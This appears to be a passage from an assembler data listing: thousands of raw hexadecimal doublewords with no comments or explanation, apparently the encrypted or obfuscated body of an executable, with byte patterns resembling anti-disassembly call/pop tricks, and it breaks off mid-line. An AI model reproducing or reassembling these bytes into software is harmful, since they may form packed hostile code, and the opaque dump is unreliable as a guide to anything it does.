47B0E79Fh dd 565B97F9h, 9C471DC2h, 815893C7h, 1A263EECh, 0EF11191Eh dd 796F3041h, 212FD7FEh, 0D260B343h, 0AE947B51h, 59175EABh dd 12E8h, 0EB264100h, 8AF75F3Fh, 400AEA1Ah, 9B63DD94h dd 8B8AE67Bh, 0FA10D1BDh, 85895807h, 7FA02CDh, 6770C081h dd 8D890000h, 7FA0675h, 34FFD233h, 0D98B6602h, 0D18D8B5Eh dd 8107FA2Ah, 50E3BBF6h, 0C681F860h, 24D3BB1h, 0EF9BD8Bh dd 0F68107FAh, 7F4339Fh, 20F99D89h, 8A5607FAh, 10048FFEh dd 20BDBD8Bh, 8F0F07FAh, 4, 995BB66h, 8B01EA83h, 0FA0B05BDh dd 4A4A4A07h, 81D98B66h, 0FF991CFAh, 0A3850FFFh, 8BFFFFFFh dd 0FA1E7D9Dh, 5E807h, 0A1BE0000h, 8BCB2C0Eh, 0FA159D8Dh dd 860F5A07h, 2, 0C2813BB0h, 6F6Eh, 0B714ECBFh, 5EF78106h dd 6606B70Fh, 8B308DB8h, 8E81Ah, 0EE360000h, 575B468Ch dd 0B8519EB4h, 3926D502h, 0C3815858h, 49A25133h, 8158F553h dd 0F520D2C3h, 8D8B602Eh, 7FA01A5h, 61F28B66h, 0DDB2EB81h dd 89FC0D37h, 5830F1Ah, 0B8000000h, 791C2FC8h, 102EA83h dd 0FA0799BDh, 4F4A4A07h, 10850Fh, 25E90000h, 0B3000000h dd 252BA125h, 8E4326A9h, 8589D40Ch, 7FA18A1h, 0FFFF8EE9h dd 0ABCCD0FFh, 0DBDC82B4h, 2C000AAAh, 8FCC74F5h, 10DA8D8Dh dd 13B20801h, 1CD98D89h, 0BD0B07FAh, 7FA312Dh, 0AD858B60h dd 0E807FA0Ah, 8, 355DC9FEh, 0C9ADBCE1h, 8E8h, 2CEF8600h dd 25FC003Ah, 615F5E94h, 31AD85C7h, 6D7C07FAh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 22AD77C3h, 1CF4D400h, 0C7230BB3h, 0FA2BD985h, 7, 9E95700h dd 4C000000h, 0E1E465CDh, 0D2C6A41Dh, 99B5FF5Bh, 6A07FA1Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 4F8BC356h, 183A299h, 0FA2D71BDh, 0DBBF0F07h dd 179995FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 941453C3h, 9E70B971h, 95FF006Ah dd 7FA1019h, 3AEBC08Bh, 628587FDh, 6C35964Fh, 23BDE8C0h dd 4E5035A2h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh dd 1BF1A4C6h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh dd 0CFBD9CA5h, 8D8D2349h, 8011209h, 0DDB58B56h, 5B07FA24h dd 1CD98D89h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0CAE560C3h, 4890Fh, 0BB660000h dd 958B53DBh, 7FA272Dh, 31AD85C7h, 6DF407FAh, 0AE90000h dd 9A000000h, 0B940C57Ah, 7B031051h, 0BE94Eh, 0EE430000h dd 42D66AB7h, 8448F64Fh, 0D985C77Fh, 7FA2Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 32B2C352h, 16B9EF99h, 996E4B99h, 45858B50h dd 5F07FA31h, 0EEDB5FFh, 8B6607FAh, 9995FFDFh, 6A07FA17h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0E9CBC350h, 14h, 61D8CA2Ch, 9E772A7Fh, 5EF71322h dd 6CD62C0Bh, 178C555Bh, 6AE5F380h, 1995FF00h, 8B07FA10h dd 895DEBC0h, 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 8398B409h dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h, 0F3106163h, 85DCF414h dd 7CB3FFE9h, 0DF1734BFh, 29FA616Dh, 49E44D7Ch, 811541FAh dd 88381987h, 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h dd 1EDF32F0h, 34A7E244h, 6BC44B9Fh, 8030CCE7h, 133C8D8Dh dd 95890801h, 7FA0055h, 1CD98D89h, 85C707FAh, 7FA31ADh dd 601Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0E6C35646h, 0CFA7831Dh, 3F3CCCB3h, 0D372BE66h dd 0E533CBEh, 0D985C723h, 7FA2Bh, 66000000h, 0B5FFF78Bh dd 7FA1E99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 83C35646h, 7A625EFCh, 0B58926FDh, 7FA1781h, 21059589h dd 95FF07FAh, 7FA1799h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 20C35141h, 951F952Ch, 13E98100h, 2B000000h dd 0B6ADA348h, 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 6A4313h dd 101995FFh, 0C08B07FAh, 0BC3D3AEBh, 0AD4BB669h, 2B79E2AEh dd 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h, 0AB5AD43Eh dd 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h dd 1942B0BCh, 0EC8CDCEDh, 0CE8h, 91D65B00h, 213C4ED8h dd 24D7A52h, 8D89516Dh, 7FA285Dh, 860F5A58h, 6, 0B05BD01h dd 0C28107FAh, 7248h, 73BEFE8Bh, 0BF00001Ch dd 0B96A9EBh, 95290A8Bh, 7FA1F11h, 2B92F181h, 2BB14A6h dd 813B0676h, 75852AC1h, 0CF18162h, 8B0A817Bh, 0FA323185h dd 810A8907h, 9F78C8F0h, 3EA833Fh, 7E9h, 0ED27A800h, 0CAD85D2Ah dd 0D59D034Ah, 4E07FA10h, 0FFB6850Fh, 8B66FFFFh, 5E8DEh dd 4BA90000h, 0F0D375Eh, 58Fh, 2D39BB00h, 89583403h, 0FA1E9D9Dh dd 0D6C08107h, 8B000071h, 0FA0A598Dh, 89FF2B07h, 0FA15319Dh dd 734FF07h, 0A9B50B52h, 5E07FA0Eh, 0A19D8B5Ah, 8107FA11h dd 8D007CC2h, 0CA8B6672h, 2805EA81h, 0BF0F1E95h, 18EA81F2h dd 8B7EBE30h, 0FA30B98Dh, 14E95207h, 92000000h, 0CA744B6Fh dd 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 8F2D0011h, 81663804h dd 232A4CEEh, 0FA1D79B5h, 0C3EF8107h, 666F0102h, 0C781DF8Bh dd 6F0102BFh, 1CFD8D8Bh, 0FF8107FAh, 0FFFF8ED0h, 0FF87850Fh dd 0D681FFFFh, 5328225Eh, 159F8D8Dh, 8B660801h, 0D98D89F2h dd 6A07FA1Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3FA1C353h, 8E885F5h, 4DD78166h dd 0AD85C78Bh, 2007FA31h, 6A000075h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EE66C356h dd 0BDA29BFCh, 0B257DA5h, 85C7D88Bh, 7FA2BD9h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 21C35242h dd 8D8957C0h, 7FA0E29h, 2DCD8501h, 0B5FF07FAh, 7FA2F59h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h dd 89B5894Bh, 0FF07FA32h, 0FA179995h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 664898E3h, 0FF006ADBh, 0FA101995h, 0EBC08B07h, 3B4A3F0Ch dd 1C0BEE8Fh, 8FDE3538h, 0DE8CBh, 2FC20000h, 65F849A2h dd 0F821921h, 665F741Eh, 59058BBAh, 0C181CAB4h, 6CF8h dd 3359CB81h, 0E683D99h, 0B000001Bh, 81665FA4h, 0FF0AECE8h dd 21B50931h, 5E07FA1Ch, 2F819D89h, 0EE8107FAh, 604DE2D6h dd 6E9h, 2812E700h, 81536395h, 0C01CE7C6h, 9E940h, 0FF660000h dd 23EE9716h, 817D5FC5h, 0C3BF31C6h, 81BD3114h, 8907FA11h dd 0C18B6631h, 8A04E983h, 1EF81FCh, 0F000000h, 2285h, 68D0F00h dd 8B000000h, 0FA329585h, 30E907h, 83840000h, 8C1043Ch dd 0ABE523CEh, 5C21DE8Fh, 9420FF6h, 0FA2AB1BDh, 0FF7DE907h dd 0F0BDFFFFh, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch, 0FBECEC6Fh dd 13E87D97h, 95000000h, 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch dd 0D4994965h, 0B866DA1Fh, 6659B552h, 9393F281h, 6529C181h dd 8D890000h, 7FA1525h, 4C78ACBEh, 8BF68171h, 52714C61h dd 2EE1850Bh, 0FF5A07FAh, 3D958B31h, 5B07FA1Fh, 0BE9h dd 0E9A20F00h, 76F1193Eh, 0D5691D84h, 0EEFFF381h, 0B70F7444h dd 98C381C1h, 810FB44Eh, 3CE5E4EBh, 8902B664h, 0CD850B19h dd 8307FA27h, 0BF0F02E9h, 8B4949C6h, 850F4EF9h, 0FFFFFFB7h dd 68F0Fh, 0BD8B0000h, 7FA299Dh, 0AE8h, 0B9001D00h, 0D5A73991h dd 582D5E41h, 0DE8h, 0E867AE00h, 1A4416DAh, 97416CE4h dd 0F580BF73h, 0C0815AB3h, 699Ch, 68C0Fh, 958B0000h, 7FA0B89h dd 68h, 0AE95000h, 31000000h, 5D34FDD0h, 35780F2h, 815F5AF0h dd 0D02ED6E9h, 734FF3Ch, 0FDC18166h, 0EE95BDBh, 69000000h dd 91572E89h, 0DA40906Fh, 0E35BB2FEh, 0A8EB81AFh, 565D70DAh dd 0DEC3815Ah, 8B4B33EFh, 84EB81D1h, 894BDF97h, 0FA0EA985h dd 0B5015307h, 7FA0AF1h, 6638048Fh, 0D68BD78Bh, 8904EF83h dd 0FA104DB5h, 10FF8107h, 0FFFFF97h, 0FFFFA485h, 0CBE66FFh dd 34AC42A5h, 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h dd 30259083h, 3025DD6Fh, 198A786h, 3022E887h, 30AD8D89h dd 8DA68486h, 37DF42A3h, 4BA12E86h, 0F6259086h, 0CA232D03h dd 6B4D6A81h, 0B1FC8418h, 793E2DB2h, 85DAF552h, 37DF43B7h dd 93F8A40Bh, 0E0DA977Bh, 0B5E3B80Dh, 37DF22E3h, 3021FAC8h dd 0E7650986h, 0BB752CC4h, 0BB2166C2h, 1461A886h, 85DAC882h dd 37DF48A3h, 93F8A10Bh, 0E0DA157Bh, 209CF10Dh, 0D9258486h dd 3025428Eh, 3EA02E20h, 79259086h, 0B52A818Dh, 0CFDADB76h dd 30251F6Fh, 56B88486h, 88227EC9h, 30254283h, 8DA8C279h dd 38248742h, 28AEC50Bh, 229D2C87h, 1BA322A3h, 34AC4249h dd 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h, 30259083h dd 3025DD6Fh, 198A786h, 0F305E983h, 22B9A4h, 32E90000h dd 0BD000000h, 81BC5h, 0Bh dup(0) dd 80CE900h, 82940000h, 0D939E61Ch, 33E28FC5h, 8788356Bh dd 0DD34E117h, 0A2578BC1h, 104658B9h, 0B7EDB163h, 6298060Ah dd 0A405EB5h, 64C7E33Bh, 9207E79Bh, 7AE0752Ch, 44FFE683h dd 3899CFCFh, 637F0F51h, 7E0B1E5h, 0B81DA801h, 620F4559h dd 0FD62EDB1h, 98FD8816h, 3398237Bh, 0A032BDE1h, 0B915BD77h dd 2B073171h, 0D1B06EACh, 0CB359804h, 0DB5B07E0h, 0E0CB5CBFh dd 0C8318A07h, 3E7A122h, 88588E10h, 406ED750h, 8EEEh, 0C8499E00h dd 0DFFB4BD6h, 7E0BF7Ch, 42E851AAh, 346AA78Bh, 0E0459A9h dd 74A00590h, 0D769F2Ah, 67F2AC68h, 26EB983Eh, 0A0D1ED78h dd 4DC217E6h, 0F79DC651h, 47D7C74Ah, 0D77D21F2h, 8B91C999h dd 482F3874h, 0C0000000h, 0A9346AA7h, 0E683177Dh, 6B33DFFFh dd 0F7967BE0h, 9EDAA597h, 0FE89F200h, 21C983ACh, 8E722CADh dd 75D8F483h, 9BFFE6FAh, 0BCA3D942h, 5Ah, 98F51F74h, 79ACF569h dd 0D964CDF1h, 0EA0A6D89h, 0DF38FFE6h, 0A719D076h, 451DF86Ah dd 1A43CED0h, 54C126B1h, 2D96BF4Ah, 0A80D39C4h, 72FFE683h dd 504EC2A0h, 0A8339CC5h, 83D93C58h, 0AE07FFE6h, 9940A09h dd 15BD77B0h, 0B2965091h, 8C12035Fh, 0DF6FD801h, 6E148A8Ah dd 96F37930h, 0A5FA3ACAh, 178B316Dh, 7E094FDh, 60C550A9h dd 3A64ADB5h, 27EE9BD1h, 0B6D3EC77h, 40FE1AAAh, 1E0FDAA9h dd 33E035C5h, 53D8105Ah, 0B51E46CAh, 0C1EA7C0Fh, 0ACF22307h dd 524CC976h, 40489BC7h, 0D4FDFFE7h, 0BFDF361Ah, 9CF3D289h dd 52C115C4h, 0F5A967BCh, 2D71A24Fh, 3292BC7Eh, 254A750Dh dd 56FD028Dh, 0CC8B8DCh, 84712866h, 3774833Ch, 34DAh, 9CF36B00h dd 0A0BC15C4h, 0FFE6833Dh, 0BC5B0A63h, 0F46EA75Dh, 0BA1F6E1Fh dd 98114462h, 0BC17C62Fh, 6AF5A967h, 91F09B41h, 786Dh dd 43D02500h, 1A7D05Bh, 607CBC4Ah, 0FFE682FDh, 2487A323h dd 52FFE683h, 89EA90F9h, 0B81B3706h, 0A5FFE683h, 2319D6D6h dd 0B636774Ch, 0E745379Ah, 9B045DFFh, 0A0BC8332h, 0FFE6833Dh dd 58982841h, 0E683D93Ch, 34AE07FFh, 0A9212BDEh, 0A057FDD5h dd 6EA75DBCh, 838AED09h, 23B8FFE6h, 0B444ADF1h, 0E6833598h dd 99025BFFh, 3F69A9EAh, 1EAFEB6Ch, 0C4DA367Bh, 1A71039h dd 326CA74Ah, 4867BA7h, 0BFF8FFEBh, 0ACF22105h, 5648C976h dd 0F3AB66CBh, 611B4C68h, 7A0A947Dh, 0E1E79E50h, 0C76DCD19h dd 0D281B989h, 28683878h, 0EABAA90Ch, 0D97ED7FFh, 0AED7623Ch dd 4D2708h, 0A7B80000h, 841AF66Ch, 0E82BD0F9h, 0A9C24DB6h dd 0B0F080E0h, 0E6833194h, 60065FFFh, 9F46ACC8h, 0FB2507E0h dd 0F5F1F0AEh, 9A040D80h, 0E9428B31h, 12CC055Eh, 29B9E52Eh dd 0E6603ED4h, 0C72E12Fh, 7CBA60EAh, 2588A4E4h, 4B07E0E3h dd 0A7954CF2h, 8EA7326Ch, 0B9D565FBh, 7E090C7h, 0CF7CB20Bh dd 8ACA5A44h, 0E0900B6Eh, 50520007h, 1EEFCA95h, 4BDE84DDh dd 7BD1D1FBh, 0B81B6414h, 7E5A9E12h, 0F2208C53h, 6FFAA470h dd 0ED52DD46h, 5AEC7727h, 36CF7731h, 0B45F43FDh, 0C71CB4EAh dd 9CC5504Eh, 0D4CA49F6h, 0B6B81A44h, 0DF388BFBh, 2C56A639h dd 685D761Ah, 0B516BC7Dh, 0BCFC8CD4h, 0F1FCAE92h, 0CC46EB2Eh dd 51C469D2h, 3933A74Dh, 8D8B6914h, 0FA8519F8h, 83D868D1h dd 7BD0008Dh, 0E0E98C13h, 0DC93D177h, 15C49CF3h, 6CA752C1h dd 5F168332h, 74833C84h, 23DA37h, 0F36B0000h, 0BC15C49Ch dd 0E6833DA0h, 5B0A63FFh, 6EA75DBCh, 4AA98130h, 0F3AB67BCh dd 0B2993F68h, 3Ch, 0C49CF34Bh, 277CBC15h, 0E74AB6E8h dd 0DFFE682h, 5A760EB4h, 0FFE682F7h, 89679CEh, 43AE547Dh dd 0D63B27EEh, 47F65FC8h, 6EA75DBCh, 67BC8130h, 0EE8DE4A9h dd 2A52D6D0h, 11701BC1h, 0C7C092BCh, 0D5AA8103h, 0D91822Fh dd 24615682h, 0DA13FFEBh, 0C7D73C20h, 712DE491h, 0E9081E6h dd 0B2EC297Eh, 2C5D790Ch, 1B838E72h, 2FDD15E5h, 2C7B3879h dd 0C000000h, 0A7326CA7h, 0D565FB8Eh, 0E09A4FB9h, 0BA1A4407h dd 173AFD5Bh, 469FE88Eh, 6F2962BBh, 8616888Bh, 10C72A46h dd 94ED07E1h, 0A7F9B0EEh, 8EA7326Ch, 0B9D565FBh, 7E0AF5Fh dd 84E70383h, 0B207E0AFh, 0ACA6DF59h, 558B01E9h, 0F3FFB6ECh dd 0BC15C49Ch, 4DF3AB67h, 6CA74BBAh, 5F168332h, 74833C84h dd 49DA37h, 0BC6B0000h, 4BF1AD67h, 0CBBA5EAh, 833DA0BCh dd 0EA14FFE6h, 4EB86075h, 3C5F9179h, 854639B3h, 16ABF49Ah dd 0F11AA5F9h, 5DBCD988h, 81306EA7h, 0D2969A9h, 0FFE683AAh dd 22D97FD8h, 0F9C292BCh, 8FE43B05h, 2002E9h, 0F39B0000h dd 0BC15C49Ch, 0E6833DA0h, 792841FFh, 6EA75DBCh, 0F37E20F4h dd 8E19858Eh, 0E493FC65h, 6CA74AA9h, 867BA732h, 0F8FFEB04h dd 0F63605BFh, 0EB0477DAh, 11D9DFFh, 0FFEB049Eh, 72026BC4h dd 0EB03F356h, 22C821FFh, 0CA009E75h, 1DA8F61Dh, 49A78CDh dd 0AA0D2979h, 0D8FFEB04h, 0F70167Fh, 1656E67Ah, 0EB0497FAh dd 0E4BA59FFh, 0CA44AA3h, 49A77CCh, 2C24EA5Eh, 0B91207E5h dd 9CF3CC83h, 33DF34C4h, 0C10EC56Bh, 326CA752h, 845F1683h dd 3774833Ch, 40DAh, 0DD358A00h, 670D36C1h, 0B39CF3B0h dd 2310ABCDh, 5F0E7748h, 833DA0BCh, 0E363FFE6h, 0E68364C7h dd 0D03992FFh, 7529EB40h, 92BC18CFh, 98C0AC7Dh, 0AE46EC60h dd 306EA74Fh, 6D4AA981h, 1Fh, 0C49CF306h, 3DA0BC15h, 41FFE683h dd 5DBC7928h, 81306EA7h, 0CE9F92BCh, 0AABE56E2h, 0A7FA5904h dd 78A2326Ch, 360E6BCBh, 0E4476363h, 12FFE75Bh, 17AA50B9h dd 0EBDDF6EBh, 954F88FFh, 150062B1h, 3B902089h, 0E11FC5D9h dd 5898DF34h, 0EADBD93Ch, 42AE07FFh, 0FFEADBDFh, 0B843AC05h dd 0E676EA9Fh, 0E4F7CCCAh, 5181AB07h, 4810943Dh, 0B75BE64h dd 0B10E27CBh, 669C0596h, 0F728ECEh, 3507E490h, 0F37F36DCh dd 0C115C49Ch, 326CA752h, 283862A2h, 4DA86B3Eh, 472D90FCh dd 0FA53FFE7h, 7E169D54h, 2AB5E929h, 84A45B01h, 3774833Ch dd 37DAh, 9CF36B00h, 0AC158988h, 3DA0BCFDh, 14FFE683h dd 0D38B90EAh, 7F4CEE09h, 0B759D323h, 5D41CFBBh, 9A40A9D2h dd 0BC49F851h, 0F46EA75Dh, 6A19821Ch, 286D4AA9h, 6000000h dd 15C49CF3h, 833DA0BCh, 2841FFE6h, 0AC46E98h, 18DAD07h dd 5DBCA45Bh, 81306EA7h, 0B83D92BCh, 86293280h, 0A7D635E0h dd 4DA2326Ch, 2975A0C2h, 660C759Eh, 80CFBAD3h, 0D895E352h dd 8E872C0Bh, 0F35C8510h, 99050E63h, 0A73FE50Eh, 0E123CD8Bh dd 6AA0F907h, 50E08009h, 4757BB10h, 387C2DA1h, 116A0FE2h dd 0B6F63686h, 0E207379Ah, 98045D0Fh, 0FE20735h, 0AF5C025Bh dd 57043A64h, 2B57E2BCh, 0FFCECBBh, 0ECD08AC3h, 94417727h dd 79DCF87Fh, 0A70FC7E3h, 3569A94Eh, 33DC41CCh, 997BE06Bh dd 0FD157A05h, 9BC416A1h, 3E6739E1h, 2B73A084h, 0D3CB48F5h dd 3A948h, 0BB420000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 89535285h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2404895Ch, 87868h, 24048900h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0ED68240Ch, 8B080118h, 0C4832404h dd 0C8B5404h, 4C48124h, 81000000h, 4ECh, 242C8900h, 6989C589h dd 34FF5D08h, 0C4835924h, 2434FF04h, 4C48158h, 0E9000000h dd 0FFF95E08h, 0F4C86DE4h, 0EE70D60h, 71490D5Ah, 7DB8A554h dd 3080120h, 0D6E0FFC5h, 573D4412h, 895694ACh, 0FC2A4B57h dd 1C4CC4C8h, 3B143EB1h, 2905DD36h, 5317B423h, 5D281647h dd 47078B0Fh, 5C486377h, 3C14B8F2h, 0AF2C85F1h, 2D57B4C2h dd 0D80092CBh, 7A047A78h, 0BB5B3EBBh, 0C60BDDCh, 8D764F86h dd 1225D8Dh, 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 3263FE6Dh, 89DC4400h, 0FA237995h dd 9E807h, 0AB750000h, 4757347Fh, 0FD1A9B6h, 895EF3BFh dd 0FA1CD98Dh, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8956B399h, 0FA249985h dd 0AD85C707h, 0FC07FA31h, 8100005Dh, 6E9CB5C8h, 0FE938h dd 0D2D60000h, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0D985C75Ch dd 7FA2Bh, 0E9000000h, 13h, 297DACBh, 0E87CAEDFh, 4F2F2599h dd 0FF569FDh, 0FF11D44Bh, 0FA1E99B5h, 10E907h, 0C930000h dd 0F56A74ABh, 0E9463AC2h, 85D1327Ah, 0F513C4Ch, 0FF5AC2BFh dd 0FA179995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0CEFB25ADh, 0B642DAACh dd 0DE925h, 0CCB0000h, 5E78AEE3h, 0B0162E06h, 6A8DAF1Ch dd 1995FF00h, 8B07FA10h, 923AEBC0h, 0CF55401h, 307D3EE5h dd 2A0FEE0Bh, 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh dd 0A9619A42h, 0AB22069Ah, 5BAD66B2h, 561795F4h, 700B2226h dd 0FDFBE2D0h, 0EFA20D7Dh, 13E848h, 244A0000h, 0A6D57A0Ah dd 0A9A6D195h, 5ED61E61h, 350E6854h, 810FD4h, 5A000000h dd 1E7D8D89h, 0C28107FAh, 6016h, 68C6BF0Fh, 17DBh, 6872BB66h dd 0FD85015Eh, 0FF07FA1Ch, 13E932h, 0C24F0000h, 0FC27411Ch dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 0E98159BCh, 7B5D3225h dd 68B0Fh, 9D330000h, 7FA0CBDh, 0DA52E981h, 858B47EFh dd 7FA1609h, 9976F181h, 0E58A13B2h, 0CE951h, 0DC840000h dd 9A5EA4F5h, 6F578C15h, 28F1386h, 3EA83F9h, 1F719D01h dd 314A07FAh, 0FA0F99B5h, 1EE8307h, 0FF91850Fh, 0BD31FFFFh dd 7FA3495h, 0CE8h, 0C000CE00h, 0C7C6533Ch, 0B01FCAEDh dd 0BF6660AFh, 61F99E50h, 81C28B5Bh, 5884C3h, 28BA6600h dd 16046878h, 0A8B80000h, 59393E03h, 7C1D1ABEh, 0FC33FF5Dh dd 79B58B5Fh, 8107FA29h, 651720F7h, 3ABE6604h, 78C781ABh dd 102E3E1h, 0FA0FA58Dh, 50C78107h, 0F567A2F1h, 79B58B57h dd 8F07FA26h, 0B5895603h, 7FA25F1h, 4EB8358h, 21658D29h dd 0F4907FAh, 0FFFFB885h, 0AD8D8DFFh, 6A080124h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 69C4C351h, 600BB2CEh, 12E922FAh, 0C5000000h, 91CFF529h dd 0E4979CF7h, 0DE31CB4Bh, 0C6C7D9D3h, 0BD9D8943h, 2307FA0Ch dd 0FA1D3D9Dh, 0D98D8907h, 0E907FA1Ch, 0Eh, 0D028A7D6h dd 9D4704CAh, 0FE03E50Bh, 85C70639h, 7FA31ADh, 66ECh, 2CA59529h dd 85C707FAh, 7FA2BD9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FCC35545h dd 0A1282E00h, 0F6BF0FD0h, 2EA9B5FFh, 958907FAh, 7FA0135h dd 179995FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 8B9500C3h, 66747E22h, 6A2A2EBAh dd 1995FF00h, 8B07FA10h, 886EEBC0h, 0A5BC99E1h, 0D0F02986h dd 53AEAC62h, 364B4158h, 676DDD46h, 754C6C61h, 8E1694C3h dd 83F99B09h, 554417E3h, 202857BFh, 0DA68D096h, 20738A96h dd 0D2E721EBh, 7A9A47Eh, 9D37EEC3h, 2FE106FBh, 8DEB9C8Bh dd 4B82BD01h, 0A5142279h, 82102AAEh, 9F3672A0h, 4AB9BB5Dh dd 4668FC15h, 8C7017AFh, 94BF1CA0h, 67B5A9B2h, 0EE6E4679h dd 2D8D8D34h, 6A080126h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 536C357h, 0CD1E267Ah dd 99D290Fh, 8907FA29h, 0FA1CD98Dh, 59BD8907h, 0C707FA16h dd 0FA31AD85h, 702407h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0AD6BDA67h, 0F4D3804Eh dd 2BD985C7h, 7FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 264592C3h, 0D765FE97h dd 58B0FDCh, 0BE000000h, 2346B936h, 8DA4E681h, 0B5FF6D2Ah dd 7FA167Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 68C35747h, 9B7BDABEh, 9995FF1Fh, 6A07FA17h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 3F7DC355h, 4CA9DBB1h, 0D3963560h, 0AE9h, 518CAF00h dd 4029A2Dh, 6AE8CCBFh, 1995FF00h, 8B07FA10h, 0E30EEBC0h dd 192C2414h, 7C97C427h, 8E1C41A3h, 0E48D8D77h, 6A080126h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 8B56C351h, 8EEE2875h, 759D8BD1h, 8B07FA20h dd 0FA2BF585h, 0D98D8907h, 0E907FA1Ch, 7, 24516528h, 66FE220Bh dd 85C7F88Bh, 7FA31ADh, 5CDCh, 26E99D29h, 85C707FAh, 7FA2BD9h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B2C35646h dd 8933AD8Eh, 0FA2255BDh, 91B5FF07h, 8B07FA33h, 0FA2559BDh dd 9995FF07h, 8007FA17h, 6A39E8h, 101995FFh, 0C08B07FAh dd 0D67F5AEBh, 512657CDh, 48189567h, 0BCA309E6h, 6052F717h dd 453C52BBh, 0C2F1CD20h, 1EA03EDEh, 0D01DF5C7h, 0E9D84269h dd 0DE525D54h, 3D83130Eh, 156E4FCAh, 0E4B59438h, 5F116971h dd 5192D1E9h, 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h dd 9F39D93Dh, 81486926h, 9EBD657Ch, 0AE8h, 0CE921C00h dd 0D8409E25h, 66F3D9D7h, 5EC599BAh, 81F98B66h, 65E2C6h dd 0D98B6600h, 9D8BC033h, 7FA0631h, 80060C8Bh, 0E981FBEBh dd 275F7AC3h, 0DDBD8950h, 5A07FA18h, 13B1C181h, 0E9814726h dd 499FBB17h, 0AE8h, 7F057D00h, 304B7BEEh, 56748509h, 895F5FFCh dd 0BD29060Ch, 7FA266Dh, 8902E883h, 0FA06A9B5h, 66484807h dd 0F881F98Bh, 0FFFF9AC4h, 13850Fh, 800F0000h, 0 dd 26E9h, 0B77ADC00h, 56D60656h, 0BB665117h, 0E95FB5D1h dd 0FFFFFF8Ch, 0E3902867h, 0C9773B92h, 5E9BD8B4h, 77A64747h dd 8D9E634Ah, 128C58Dh, 6840F08h, 89000000h, 0FA01A585h dd 0DBD8907h, 8907FA26h, 0FA1CD98Dh, 0AD85C707h, 2407FA31h dd 6A000071h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0DF2BC351h, 958BF511h, 7FA2605h dd 10E8h, 4142C800h, 0C2D53E0Dh, 0E991C95Ah, 0DED5A203h dd 0D3BF662Fh, 85C75E93h, 7FA2BD9h, 0 dd 243DB5FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0FC5685C3h, 0ADB52958h, 0FF07FA34h dd 0FA179995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 5C951388h, 78CE5AAh, 0C1BED0CCh dd 6A7DD040h, 1995FF00h, 8B07FA10h, 0DD5BEBC0h, 3CA572C9h dd 32823AC6h, 40AF39C9h, 0F61DAB03h, 6D59FB0Eh, 0BBFD812Bh dd 0AC4D5419h, 27BE0EE3h, 8CBA6A13h, 0ACF80A72h, 93EA5DDCh dd 17F1680Dh, 4C5F0ED2h, 504F4CFEh, 4E382F98h, 765127DCh dd 